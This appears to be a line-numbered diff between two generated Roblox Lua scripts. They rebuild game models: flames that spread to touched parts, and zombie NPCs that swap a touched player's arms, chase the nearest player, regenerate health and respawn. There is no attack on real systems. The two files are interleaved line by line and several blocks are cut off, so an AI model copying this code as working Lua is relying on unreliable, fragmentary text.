Part355.TopSurface = Enum.SurfaceType.Smooth
5032+
Humanoid290.Parent = Model283
5033-
Part355.brickColor = BrickColor.new("Bright blue")
5033+
Humanoid290.LeftLeg = Part288
5034-
Part355.FormFactor = Enum.FormFactor.Plate
5034+
Humanoid290.NameOcclusion = Enum.NameOcclusion.NoOcclusion
5035-
Part355.formFactor = Enum.FormFactor.Plate
5035+
Humanoid290.RightLeg = Part289
5036-
SpecialMesh356.Parent = Part355
5036+
Humanoid290.Torso = Part287
5037-
SpecialMesh356.Scale = Vector3.new(0.699999988, 6, 0.699999988)
5037+
Part291.Name = "zarm"
5038-
SpecialMesh356.MeshType = Enum.MeshType.Sphere
5038+
Part291.Parent = Model283
5039-
BodyForce357.Parent = Part355
5039+
Part291.CFrame = CFrame.new(188.108551, 5.09995508, 243.013428, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
5040-
BodyForce357.Force = Vector3.new(0, 72, 0)
5040+
Part291.Orientation = Vector3.new(0, 180, 0)
5041-
BodyForce357.force = Vector3.new(0, 72, 0)
5041+
Part291.Position = Vector3.new(188.108551, 5.09995508, 243.013428)
5042-
Fire358.Parent = Part355
5042+
Part291.Rotation = Vector3.new(-180, 0, -180)
5043-
Fire358.Color = Color3.new(1, 0.745098, 0)
5043+
Part291.Color = Color3.new(0.631373, 0.768628, 0.54902)
5044-
Fire358.Enabled = false
5044+
Part291.Velocity = Vector3.new(3.69800334e-20, 0.00686328812, 3.65994592e-20)
5045-
Fire358.Size = 30
5045+
Part291.Size = Vector3.new(2, 1, 1)
5046-
Fire358.Heat = 25
5046+
5047-
Fire358.SecondaryColor = Color3.new(1, 0, 0)
5047+
Part291.BrickColor = BrickColor.new("Medium green")
5048-
Fire358.size = 30
5048+
Part291.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5049-
Script359.Parent = Fire358
5049+
5050
Part291.brickColor = BrickColor.new("Medium green")
5051-
function Spread(part)
5051+
Part291.FormFactor = Enum.FormFactor.Symmetric
5052-
	check = part:findFirstChild("Fire")
5052+
Part291.formFactor = Enum.FormFactor.Symmetric
5053-
		if check == nil then 
5053+
Script292.Parent = Part291
5054-
	script.Parent:Clone().Parent = part
5054+
table.insert(cors,sandbox(Script292,function()
5055-
	
5055+
wait(1)
5056-
		elseif check ~= nil then
5056+
owner=script.Parent.Parent.Name
5057-
	check.Size = check.Size + 1
5057+
5058-
	check.Heat = check.Heat  +1
5058+
function onTouched(part)
5059
	if part.Parent ~= nil then
5060
		local h = part.Parent:findFirstChild("Humanoid")
5061
			if h~=nil then
5062
				if cantouch~=0 then
5063-
script.Parent.Parent.Touched:connect(Spread)
5063+
					if h.Parent.Name~=owner then
5064
						
5065
						if h.Parent:findFirstChild("zarm")~=nil then return end
5066
5067-
Part360.Parent = Model354
5067+
						cantouch=0
5068-
Part360.CFrame = CFrame.new(177.901611, 15.6886101, 204.3125, -1, 0, 0, 0, 1, 0, 0, 0, -1)
5068+
5069
						local larm=h.Parent:findFirstChild("Left Arm")
5070-
Part360.Position = Vector3.new(177.901611, 15.6886101, 204.3125)
5070+
						local rarm=h.Parent:findFirstChild("Right Arm")
5071
						
5072-
Part360.Color = Color3.new(0.388235, 0.372549, 0.384314)
5072+
						if larm~=nil then
5073-
Part360.Size = Vector3.new(2, 1, 1)
5073+
							larm:remove()
5074-
Part360.Anchored = true
5074+
						end
5075-
Part360.BottomSurface = Enum.SurfaceType.Smooth
5075+
						if rarm~=nil then
5076-
Part360.BrickColor = BrickColor.new("Dark stone grey")
5076+
							rarm:remove()
5077
						end
5078-
Part360.brickColor = BrickColor.new("Dark stone grey")
5078+
						local zee=script.Parent.Parent:findFirstChild("zarm")
5079-
Part360.FormFactor = Enum.FormFactor.Symmetric
5079+
						if zee~=nil then
5080-
Part360.formFactor = Enum.FormFactor.Symmetric
5080+
							local zlarm=zee:clone()
5081-
BlockMesh361.Parent = Part360
5081+
							local zrarm=zee:clone()
5082-
BlockMesh361.Scale = Vector3.new(1, 1.5, 0.600000024)
5082+
							if zlarm~=nil then
5083-
BodyForce362.Parent = Part360
5083+
5084-
BodyForce362.Force = Vector3.new(0, 360, 0)
5084+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
5085-
BodyForce362.force = Vector3.new(0, 360, 0)
5085+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
5086-
Fire363.Parent = Part360
5086+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
5087-
Fire363.Color = Color3.new(1, 0.745098, 0)
5087+
								zlarm.Parent=h.Parent
5088-
Fire363.Enabled = false
5088+
								zrarm.Parent=h.Parent
5089-
Fire363.Size = 30
5089+
								zlarm:makeJoints()
5090-
Fire363.Heat = 25
5090+
								zrarm:makeJoints()
5091-
Fire363.SecondaryColor = Color3.new(1, 0, 0)
5091+
								zlarm.Anchored=false
5092-
Fire363.size = 30
5092+
								zrarm.Anchored=false
5093-
Script364.Parent = Fire363
5093+
								wait(0.1)
5094-
table.insert(cors,sandbox(Script364,function()
5094+
								h.Parent.Head.Color=zee.Color
5095-
function Spread(part)
5095+
							else print("no zee"); return end
5096-
	check = part:findFirstChild("Fire")
5096+
						end
5097-
		if check == nil then 
5097+
						wait(1)
5098-
	script.Parent:Clone().Parent = part
5098+
						cantouch=1
5099-
	
5099+
					end
5100-
		elseif check ~= nil then
5100+
				end
5101-
	check.Size = check.Size + 1
5101+
5102-
	check.Heat = check.Heat  +1
5102+
5103
end
5104
5105
script.Parent.Touched:connect(onTouched)
5106
end))
5107-
script.Parent.Parent.Touched:connect(Spread)
5107+
Part293.Name = "zarm"
5108
Part293.Parent = Model283
5109
Part293.CFrame = CFrame.new(188.108551, 5.09995508, 240.013428, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
5110
Part293.Orientation = Vector3.new(0, 180, 0)
5111-
Part365.Parent = Model354
5111+
Part293.Position = Vector3.new(188.108551, 5.09995508, 240.013428)
5112-
Part365.CFrame = CFrame.new(178.801758, 15.6886101, 204.3125, -1, 0, 0, 0, 1, 0, 0, 0, -1)
5112+
Part293.Rotation = Vector3.new(-180, 0, -180)
5113-
Part365.Orientation = Vector3.new(0, 180, 0)
5113+
Part293.Color = Color3.new(0.631373, 0.768628, 0.54902)
5114-
Part365.Position = Vector3.new(178.801758, 15.6886101, 204.3125)
5114+
Part293.Velocity = Vector3.new(3.59789445e-20, 0.00686328812, 3.65994592e-20)
5115-
Part365.Rotation = Vector3.new(-180, 0, -180)
5115+
Part293.Size = Vector3.new(2, 1, 1)
5116-
Part365.Color = Color3.new(0.972549, 0.972549, 0.972549)
5116+
Part293.BottomSurface = Enum.SurfaceType.Smooth
5117-
Part365.Size = Vector3.new(1, 1, 1)
5117+
Part293.BrickColor = BrickColor.new("Medium green")
5118-
Part365.Anchored = true
5118+
Part293.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5119-
Part365.BottomSurface = Enum.SurfaceType.Smooth
5119+
Part293.TopSurface = Enum.SurfaceType.Smooth
5120-
Part365.BrickColor = BrickColor.new("Institutional white")
5120+
Part293.brickColor = BrickColor.new("Medium green")
5121-
Part365.TopSurface = Enum.SurfaceType.Smooth
5121+
Part293.FormFactor = Enum.FormFactor.Symmetric
5122-
Part365.brickColor = BrickColor.new("Institutional white")
5122+
Part293.formFactor = Enum.FormFactor.Symmetric
5123-
Part365.FormFactor = Enum.FormFactor.Symmetric
5123+
Script294.Parent = Part293
5124-
Part365.formFactor = Enum.FormFactor.Symmetric
5124+
5125-
SpecialMesh366.Parent = Part365
5125+
wait(1)
5126-
SpecialMesh366.Scale = Vector3.new(1, 2, 0.800000012)
5126+
owner=script.Parent.Parent.Name
5127-
BodyForce367.Parent = Part365
5127+
5128-
BodyForce367.Force = Vector3.new(0, 180, 0)
5128+
function onTouched(part)
5129-
BodyForce367.force = Vector3.new(0, 180, 0)
5129+
	if part.Parent ~= nil then
5130-
Fire368.Parent = Part365
5130+
		local h = part.Parent:findFirstChild("Humanoid")
5131-
Fire368.Color = Color3.new(1, 0.745098, 0)
5131+
			if h~=nil then
5132-
Fire368.Enabled = false
5132+
				if cantouch~=0 then
5133-
Fire368.Size = 30
5133+
					if h.Parent.Name~=owner then
5134-
Fire368.Heat = 25
5134+
						
5135-
Fire368.SecondaryColor = Color3.new(1, 0, 0)
5135+
						if h.Parent:findFirstChild("zarm")~=nil then return end
5136-
Fire368.size = 30
5136+
5137-
Script369.Parent = Fire368
5137+
						cantouch=0
5138-
table.insert(cors,sandbox(Script369,function()
5138+
5139-
function Spread(part)
5139+
						local larm=h.Parent:findFirstChild("Left Arm")
5140-
	check = part:findFirstChild("Fire")
5140+
						local rarm=h.Parent:findFirstChild("Right Arm")
5141-
		if check == nil then 
5141+
						
5142-
	script.Parent:Clone().Parent = part
5142+
						if larm~=nil then
5143-
	
5143+
							larm:remove()
5144-
		elseif check ~= nil then
5144+
						end
5145-
	check.Size = check.Size + 1
5145+
						if rarm~=nil then
5146-
	check.Heat = check.Heat  +1
5146+
							rarm:remove()
5147
						end
5148
						local zee=script.Parent.Parent:findFirstChild("zarm")
5149
						if zee~=nil then
5150
							local zlarm=zee:clone()
5151-
script.Parent.Parent.Touched:connect(Spread)
5151+
							local zrarm=zee:clone()
5152
							if zlarm~=nil then
5153
5154
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
5155-
Part370.Parent = Model354
5155+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
5156-
Part370.CFrame = CFrame.new(178.801758, 16.3886871, 204.3125, 1, 0, 0, 0, 1, 0, 0, 0, 1)
5156+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
5157-
Part370.Position = Vector3.new(178.801758, 16.3886871, 204.3125)
5157+
								zlarm.Parent=h.Parent
5158-
Part370.Color = Color3.new(0.972549, 0.972549, 0.972549)
5158+
								zrarm.Parent=h.Parent
5159-
Part370.Size = Vector3.new(1, 0.400000006, 1)
5159+
								zlarm:makeJoints()
5160-
Part370.Anchored = true
5160+
								zrarm:makeJoints()
5161-
Part370.BottomSurface = Enum.SurfaceType.Smooth
5161+
								zlarm.Anchored=false
5162-
Part370.BrickColor = BrickColor.new("Institutional white")
5162+
								zrarm.Anchored=false
5163-
Part370.TopSurface = Enum.SurfaceType.Smooth
5163+
								wait(0.1)
5164-
Part370.brickColor = BrickColor.new("Institutional white")
5164+
								h.Parent.Head.Color=zee.Color
5165-
Part370.FormFactor = Enum.FormFactor.Plate
5165+
							else print("no zee"); return end
5166-
Part370.formFactor = Enum.FormFactor.Plate
5166+
						end
5167-
SpecialMesh371.Parent = Part370
5167+
						wait(1)
5168-
SpecialMesh371.Scale = Vector3.new(0.800000012, 3, 0.800000012)
5168+
						cantouch=1
5169-
SpecialMesh371.MeshType = Enum.MeshType.Sphere
5169+
					end
5170-
BodyForce372.Parent = Part370
5170+
				end
5171-
BodyForce372.Force = Vector3.new(0, 72, 0)
5171+
5172-
BodyForce372.force = Vector3.new(0, 72, 0)
5172+
5173-
Fire373.Parent = Part370
5173+
5174-
Fire373.Color = Color3.new(1, 0.745098, 0)
5174+
5175-
Fire373.Enabled = false
5175+
5176-
Fire373.Size = 30
5176+
5177-
Fire373.Heat = 25
5177+
ObjectValue295.Name = "IsNZ"
5178-
Fire373.SecondaryColor = Color3.new(1, 0, 0)
5178+
ObjectValue295.Parent = Model283
5179-
Fire373.size = 30
5179+
IntValue296.Name = "Mode"
5180-
Script374.Parent = Fire373
5180+
IntValue296.Parent = Model283
5181
Script297.Parent = Model283
5182-
function Spread(part)
5182+
table.insert(cors,sandbox(Script297,function()
5183-
	check = part:findFirstChild("Fire")
5183+
local larm = script.Parent:FindFirstChild("Left Arm")
5184-
		if check == nil then 
5184+
local rarm = script.Parent:FindFirstChild("Right Arm")
5185-
	script.Parent:Clone().Parent = part
5185+
5186-
	
5186+
function findNearestTorso(pos)
5187-
		elseif check ~= nil then
5187+
	local list = game.Workspace:children()
5188-
	check.Size = check.Size + 1
5188+
	local torso = nil
5189-
	check.Heat = check.Heat  +1
5189+
	local dist = 1000
5190
	local temp = nil
5191
	local human = nil
5192
	local temp2 = nil
5193
	for x = 1, #list do
5194-
script.Parent.Parent.Touched:connect(Spread)
5194+
		temp2 = list[x]
5195
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
5196
			temp = temp2:findFirstChild("Right Arm")
5197
			human = temp2:findFirstChild("Humanoid")
5198-
Part375.Name = "Flame1"
5198+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
5199-
Part375.Parent = Model354
5199+
				if (temp.Position - pos).magnitude < dist then
5200-
Part375.CFrame = CFrame.new(176.901611, 14.72264, 204.3125, 0, 0, 1, 0, 1, 0, -1, 0, 0)
5200+
					torso = temp
5201-
Part375.Orientation = Vector3.new(0, 90, 0)
5201+
					dist = (temp.Position - pos).magnitude
5202-
Part375.Position = Vector3.new(176.901611, 14.72264, 204.3125)
5202+
				end
5203-
Part375.Rotation = Vector3.new(0, 90, 0)
5203+
5204-
Part375.Color = Color3.new(0.0509804, 0.411765, 0.67451)
5204+
5205-
Part375.Transparency = 0.40000000596046
5205+
5206-
Part375.Size = Vector3.new(1, 0.400000006, 1)
5206+
	return torso
5207-
Part375.Anchored = true
5207+
5208-
Part375.BottomSurface = Enum.SurfaceType.Smooth
5208+
5209-
Part375.BrickColor = BrickColor.new("Bright blue")
5209+
5210-
Part375.CanCollide = false
5210+
5211-
Part375.TopSurface = Enum.SurfaceType.Smooth
5211+
5212-
Part375.brickColor = BrickColor.new("Bright blue")
5212+
5213-
Part375.FormFactor = Enum.FormFactor.Plate
5213+
	wait(math.random(1,5))
5214-
Part375.formFactor = Enum.FormFactor.Plate
5214+
	local target = findNearestTorso(script.Parent.Torso.Position)
5215-
SpecialMesh376.Parent = Part375
5215+
	if target ~= nil then
5216-
SpecialMesh376.Scale = Vector3.new(0.699999988, 6, 0.699999988)
5216+
		script.Parent.Humanoid:MoveTo(target.Position, target)
5217-
SpecialMesh376.MeshType = Enum.MeshType.Sphere
5217+
5218-
BodyForce377.Parent = Part375
5218+
5219-
BodyForce377.Force = Vector3.new(0, 72, 0)
5219+
5220-
BodyForce377.force = Vector3.new(0, 72, 0)
5220+
5221-
Fire378.Parent = Part375
5221+
5222-
Fire378.Color = Color3.new(1, 0.745098, 0)
5222+
Script298.Name = "Health"
5223-
Fire378.Enabled = false
5223+
Script298.Parent = Model283
5224-
Fire378.Size = 30
5224+
table.insert(cors,sandbox(Script298,function()
5225-
Fire378.Heat = 25
5225+
function waitForChild(parent, childName)
5226-
Fire378.SecondaryColor = Color3.new(1, 0, 0)
5226+
	while true do
5227-
Fire378.size = 30
5227+
		local child = parent:findFirstChild(childName)
5228-
Script379.Parent = Fire378
5228+
		if child then
5229
			return child
5230-
function Spread(part)
5230+
5231-
	check = part:findFirstChild("Fire")
5231+
		parent.ChildAdded:wait()
5232-
		if check == nil then 
5232+
5233-
	script.Parent:Clone().Parent = part
5233+
5234-
	
5234+
5235-
		elseif check ~= nil then
5235+
-- declarations
5236-
	check.Size = check.Size + 1
5236+
5237-
	check.Heat = check.Heat  +1
5237+
local Figure = script.Parent
5238
local Head = waitForChild(Figure, "Head")
5239
local Humanoid = waitForChild(Figure, "Humanoid")
5240
Humanoid.Health=500
5241
-- regeneration
5242-
script.Parent.Parent.Touched:connect(Spread)
5242+
5243
	local s = wait(4)
5244
	local health = Humanoid.Health
5245
	if health > 0 and health < Humanoid.MaxHealth then
5246-
Part380.Parent = Model354
5246+
		health = health + 0.08 * s * Humanoid.MaxHealth
5247-
Part380.CFrame = CFrame.new(177.901611, 16.1224098, 204.3125, -1, 0, 0, 0, 1, 0, 0, 0, -1)
5247+
		if health * 1.05 < Humanoid.MaxHealth then
5248
			Humanoid.Health = health
5249-
Part380.Position = Vector3.new(177.901611, 16.1224098, 204.3125)
5249+
		else
5250
			Humanoid.Health = Humanoid.MaxHealth
5251-
Part380.Color = Color3.new(0.972549, 0.972549, 0.972549)
5251+
5252-
Part380.Size = Vector3.new(1, 2, 1)
5252+
5253-
Part380.Anchored = true
5253+
5254-
Part380.BottomSurface = Enum.SurfaceType.Smooth
5254+
5255-
Part380.BrickColor = BrickColor.new("Institutional white")
5255+
5256
Script299.Name = "Respawn"
5257-
Part380.brickColor = BrickColor.new("Institutional white")
5257+
Script299.Parent = Model283
5258-
Part380.FormFactor = Enum.FormFactor.Symmetric
5258+
5259-
Part380.formFactor = Enum.FormFactor.Symmetric
5259+
name="Humanoid"
5260-
SpecialMesh381.Parent = Part380
5260+
5261-
SpecialMesh381.Scale = Vector3.new(1, 1.29999995, 0.800000012)
5261+
robo=script.Parent:clone()
5262-
BodyForce382.Parent = Part380
5262+
5263-
BodyForce382.Force = Vector3.new(0, 360, 0)
5263+
5264-
BodyForce382.force = Vector3.new(0, 360, 0)
5264+
	wait(1)
5265-
Fire383.Parent = Part380
5265+
	if script.Parent.Humanoid.Health<1 then
5266-
Fire383.Color = Color3.new(1, 0.745098, 0)
5266+
		robot=robo:clone()
5267-
Fire383.Enabled = false
5267+
		robot.Parent=script.Parent.Parent
5268-
Fire383.Size = 30
5268+
		robot:makeJoints()
5269-
Fire383.Heat = 25
5269+
		script.Parent:remove()
5270-
Fire383.SecondaryColor = Color3.new(1, 0, 0)
5270+
5271-
Fire383.size = 30
5271+
5272-
Script384.Parent = Fire383
5272+
5273-
table.insert(cors,sandbox(Script384,function()
5273+
5274-
function Spread(part)
5274+
5275-
	check = part:findFirstChild("Fire")
5275+
5276-
		if check == nil then 
5276+
5277-
	script.Parent:Clone().Parent = part
5277+
Part300.Name = "Spawn Location"
5278-
	
5278+
Part300.Parent = Model282
5279-
		elseif check ~= nil then
5279+
Part300.CFrame = CFrame.new(188.113556, 0.603015006, 241.491455, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
5280-
	check.Size = check.Size + 1
5280+
Part300.Orientation = Vector3.new(0, 180, 0)
5281-
	check.Heat = check.Heat  +1
5281+
Part300.Position = Vector3.new(188.113556, 0.603015006, 241.491455)
5282
Part300.Rotation = Vector3.new(-180, 0, -180)
5283
Part300.Color = Color3.new(0.631373, 0.768628, 0.54902)
5284
Part300.Size = Vector3.new(6, 1.20000005, 6)
5285
Part300.BottomSurface = Enum.SurfaceType.Weld
5286-
script.Parent.Parent.Touched:connect(Spread)
5286+
Part300.BrickColor = BrickColor.new("Medium green")
5287
Part300.TopSurface = Enum.SurfaceType.Smooth
5288
Part300.brickColor = BrickColor.new("Medium green")
5289
Decal301.Parent = Part300
5290-
Part385.Parent = Model354
5290+
Decal301.Texture = "http://www.roblox.com/asset/?id=34541722"
5291-
Part385.CFrame = CFrame.new(177.901611, 15.8884954, 204.012451, -1, 0, 0, 0, 1, 0, 0, 0, -1)
5291+
Decal301.Face = Enum.NormalId.Top
5292-
Part385.Orientation = Vector3.new(0, 180, 0)
5292+
Model302.Parent = Model201
5293-
Part385.Position = Vector3.new(177.901611, 15.8884954, 204.012451)
5293+
Model303.Name = "Zombie"
5294-
Part385.Rotation = Vector3.new(-180, 0, -180)
5294+
Model303.Parent = Model302
5295-
Part385.Color = Color3.new(0.972549, 0.972549, 0.972549)
5295+
Model303.PrimaryPart = Part304
5296-
Part385.Size = Vector3.new(2, 2, 1)
5296+
Part304.Name = "Head"
5297-
Part385.Anchored = true
5297+
Part304.Parent = Model303
5298-
Part385.BottomSurface = Enum.SurfaceType.Smooth
5298+
Part304.CFrame = CFrame.new(182.586487, 6.09696293, 223.508423, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
5299-
Part385.BrickColor = BrickColor.new("Institutional white")
5299+
Part304.Orientation = Vector3.new(0, 90, 0)
5300-
Part385.TopSurface = Enum.SurfaceType.Smooth
5300+
Part304.Position = Vector3.new(182.586487, 6.09696293, 223.508423)
5301-
Part385.brickColor = BrickColor.new("Institutional white")
5301+
Part304.Rotation = Vector3.new(0, 90, 0)
5302-
Part385.FormFactor = Enum.FormFactor.Symmetric
5302+
Part304.Color = Color3.new(0.631373, 0.768628, 0.54902)
5303-
Part385.formFactor = Enum.FormFactor.Symmetric
5303+
Part304.Velocity = Vector3.new(3.64787943e-20, 0.00686328812, 3.64330182e-20)
5304-
BlockMesh386.Parent = Part385
5304+
Part304.Size = Vector3.new(2, 1, 1)
5305-
BlockMesh386.Scale = Vector3.new(1, 0.699999988, 0.5)
5305+
Part304.BrickColor = BrickColor.new("Medium green")
5306-
BodyForce387.Parent = Part385
5306+
Part304.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5307-
BodyForce387.Force = Vector3.new(0, 720, 0)
5307+
Part304.TopSurface = Enum.SurfaceType.Smooth
5308-
BodyForce387.force = Vector3.new(0, 720, 0)
5308+
Part304.brickColor = BrickColor.new("Medium green")
5309-
Fire388.Parent = Part385
5309+
Part304.FormFactor = Enum.FormFactor.Symmetric
5310-
Fire388.Color = Color3.new(1, 0.745098, 0)
5310+
Part304.formFactor = Enum.FormFactor.Symmetric
5311-
Fire388.Enabled = false
5311+
SpecialMesh305.Parent = Part304
5312-
Fire388.Size = 30
5312+
SpecialMesh305.Scale = Vector3.new(1.25, 1.25, 1.25)
5313-
Fire388.Heat = 25
5313+
Decal306.Name = "face"
5314-
Fire388.SecondaryColor = Color3.new(1, 0, 0)
5314+
Decal306.Parent = Part304
5315-
Fire388.size = 30
5315+
Part307.Name = "Torso"
5316-
Script389.Parent = Fire388
5316+
Part307.Parent = Model303
5317-
table.insert(cors,sandbox(Script389,function()
5317+
Part307.CFrame = CFrame.new(182.586487, 4.59696293, 223.508423, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
5318-
function Spread(part)
5318+
Part307.Orientation = Vector3.new(0, 90, 0)
5319-
	check = part:findFirstChild("Fire")
5319+
Part307.Position = Vector3.new(182.586487, 4.59696293, 223.508423)
5320-
		if check == nil then 
5320+
Part307.Rotation = Vector3.new(0, 90, 0)
5321-
	script.Parent:Clone().Parent = part
5321+
Part307.Color = Color3.new(0.411765, 0.25098, 0.156863)
5322-
	
5322+
Part307.Velocity = Vector3.new(3.64798347e-20, 0.00686328812, 3.64324075e-20)
5323-
		elseif check ~= nil then
5323+
Part307.Size = Vector3.new(2, 2, 1)
5324-
	check.Size = check.Size + 1
5324+
Part307.BrickColor = BrickColor.new("Reddish brown")
5325-
	check.Heat = check.Heat  +1
5325+
Part307.LeftParamA = 0
5326
Part307.LeftParamB = 0
5327
Part307.LeftSurface = Enum.SurfaceType.Weld
5328
Part307.RightParamA = 0
5329
Part307.RightParamB = 0
5330-
script.Parent.Parent.Touched:connect(Spread)
5330+
Part307.RightSurface = Enum.SurfaceType.Weld
5331
Part307.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5332
Part307.brickColor = BrickColor.new("Reddish brown")
5333
Part307.FormFactor = Enum.FormFactor.Symmetric
5334-
Part390.Parent = Model354
5334+
Part307.formFactor = Enum.FormFactor.Symmetric
5335-
Part390.CFrame = CFrame.new(177.901611, 17.3224163, 204.3125, 1, 0, 0, 0, 1, 0, 0, 0, 1)
5335+
Part308.Name = "Left Leg"
5336-
Part390.Position = Vector3.new(177.901611, 17.3224163, 204.3125)
5336+
Part308.Parent = Model303
5337-
Part390.Color = Color3.new(0.972549, 0.972549, 0.972549)
5337+
Part308.CFrame = CFrame.new(182.586487, 2.59696293, 224.008423, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
5338-
Part390.Size = Vector3.new(1, 0.400000006, 1)
5338+
Part308.Orientation = Vector3.new(0, 90, 0)
5339-
Part390.Anchored = true
5339+
Part308.Position = Vector3.new(182.586487, 2.59696293, 224.008423)
5340-
Part390.BottomSurface = Enum.SurfaceType.Smooth
5340+
Part308.Rotation = Vector3.new(0, 90, 0)
5341-
Part390.BrickColor = BrickColor.new("Institutional white")
5341+
Part308.Color = Color3.new(0.411765, 0.25098, 0.156863)
5342-
Part390.TopSurface = Enum.SurfaceType.Smooth
5342+
Part308.Velocity = Vector3.new(3.66480722e-20, 0.00686328812, 3.64315933e-20)
5343-
Part390.brickColor = BrickColor.new("Institutional white")
5343+
Part308.Size = Vector3.new(1, 2, 1)
5344-
Part390.FormFactor = Enum.FormFactor.Plate
5344+
Part308.BottomSurface = Enum.SurfaceType.Smooth
5345-
Part390.formFactor = Enum.FormFactor.Plate
5345+
Part308.BrickColor = BrickColor.new("Reddish brown")
5346-
SpecialMesh391.Parent = Part390
5346+
Part308.CanCollide = false
5347-
SpecialMesh391.Scale = Vector3.new(0.800000012, 3, 0.800000012)
5347+
Part308.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5348-
SpecialMesh391.MeshType = Enum.MeshType.Sphere
5348+
Part308.brickColor = BrickColor.new("Reddish brown")
5349-
BodyForce392.Parent = Part390
5349+
Part308.FormFactor = Enum.FormFactor.Symmetric
5350-
BodyForce392.Force = Vector3.new(0, 72, 0)
5350+
Part308.formFactor = Enum.FormFactor.Symmetric
5351-
BodyForce392.force = Vector3.new(0, 72, 0)
5351+
Part309.Name = "Right Leg"
5352-
Fire393.Parent = Part390
5352+
Part309.Parent = Model303
5353-
Fire393.Color = Color3.new(1, 0.745098, 0)
5353+
Part309.CFrame = CFrame.new(182.586487, 2.59696293, 223.008423, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
5354-
Fire393.Enabled = false
5354+
Part309.Orientation = Vector3.new(0, 90, 0)
5355-
Fire393.Size = 30
5355+
Part309.Position = Vector3.new(182.586487, 2.59696293, 223.008423)
5356-
Fire393.Heat = 25
5356+
Part309.Rotation = Vector3.new(0, 90, 0)
5357-
Fire393.SecondaryColor = Color3.new(1, 0, 0)
5357+
Part309.Color = Color3.new(0.411765, 0.25098, 0.156863)
5358-
Fire393.size = 30
5358+
Part309.Velocity = Vector3.new(3.6314376e-20, 0.00686328812, 3.64315933e-20)
5359-
Script394.Parent = Fire393
5359+
Part309.Size = Vector3.new(1, 2, 1)
5360
Part309.BottomSurface = Enum.SurfaceType.Smooth
5361-
function Spread(part)
5361+
Part309.BrickColor = BrickColor.new("Reddish brown")
5362-
	check = part:findFirstChild("Fire")
5362+
Part309.CanCollide = false
5363-
		if check == nil then 
5363+
Part309.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5364-
	script.Parent:Clone().Parent = part
5364+
Part309.brickColor = BrickColor.new("Reddish brown")
5365-
	
5365+
Part309.FormFactor = Enum.FormFactor.Symmetric
5366-
		elseif check ~= nil then
5366+
Part309.formFactor = Enum.FormFactor.Symmetric
5367-
	check.Size = check.Size + 1
5367+
Humanoid310.Parent = Model303
5368-
	check.Heat = check.Heat  +1
5368+
Humanoid310.LeftLeg = Part308
5369
Humanoid310.NameOcclusion = Enum.NameOcclusion.NoOcclusion
5370
Humanoid310.RightLeg = Part309
5371
Humanoid310.Torso = Part307
5372
Part311.Name = "zarm"
5373-
script.Parent.Parent.Touched:connect(Spread)
5373+
Part311.Parent = Model303
5374
Part311.CFrame = CFrame.new(182.086487, 5.09696293, 225.008423, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
5375
Part311.Orientation = Vector3.new(0, 180, 0)
5376
Part311.Position = Vector3.new(182.086487, 5.09696293, 225.008423)
5377-
Part395.Parent = Model354
5377+
Part311.Rotation = Vector3.new(-180, 0, -180)
5378-
Part395.CFrame = CFrame.new(176.901611, 15.722434, 204.3125, -1, 0, 0, 0, 1, 0, 0, 0, -1)
5378+
Part311.Color = Color3.new(0.631373, 0.768628, 0.54902)
5379-
Part395.Orientation = Vector3.new(0, 180, 0)
5379+
Part311.Velocity = Vector3.new(3.69800334e-20, 0.00686328812, 3.65994592e-20)
5380-
Part395.Position = Vector3.new(176.901611, 15.722434, 204.3125)
5380+
Part311.Size = Vector3.new(2, 1, 1)
5381-
Part395.Rotation = Vector3.new(-180, 0, -180)
5381+
Part311.BottomSurface = Enum.SurfaceType.Smooth
5382-
Part395.Color = Color3.new(0.972549, 0.972549, 0.972549)
5382+
Part311.BrickColor = BrickColor.new("Medium green")
5383-
Part395.Size = Vector3.new(1, 1, 1)
5383+
Part311.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
5384-
Part395.Anchored = true
5384+
Part311.TopSurface = Enum.SurfaceType.Smooth
5385-
Part395.BottomSurface = Enum.SurfaceType.Smooth
5385+
Part311.brickColor = BrickColor.new("Medium green")
5386-
Part395.BrickColor = BrickColor.new("Institutional white")
5386+
Part311.FormFactor = Enum.FormFactor.Symmetric
5387-
Part395.TopSurface = Enum.SurfaceType.Smooth
5387+
Part311.formFactor = Enum.FormFactor.Symmetric
5388-
Part395.brickColor = BrickColor.new("Institutional white")
5388+
Script312.Parent = Part311
5389-
Part395.FormFactor = Enum.FormFactor.Symmetric
5389+
5390-
Part395.formFactor = Enum.FormFactor.Symmetric
5390+
wait(1)
5391-
SpecialMesh396.Parent = Part395
5391+
owner=script.Parent.Parent.Name
5392-
SpecialMesh396.Scale = Vector3.new(1, 2, 0.800000012)
5392+
5393-
BodyForce397.Parent = Part395
5393+
function onTouched(part)
5394-
BodyForce397.Force = Vector3.new(0, 180, 0)
5394+
	if part.Parent ~= nil then
5395-
BodyForce397.force = Vector3.new(0, 180, 0)
5395+
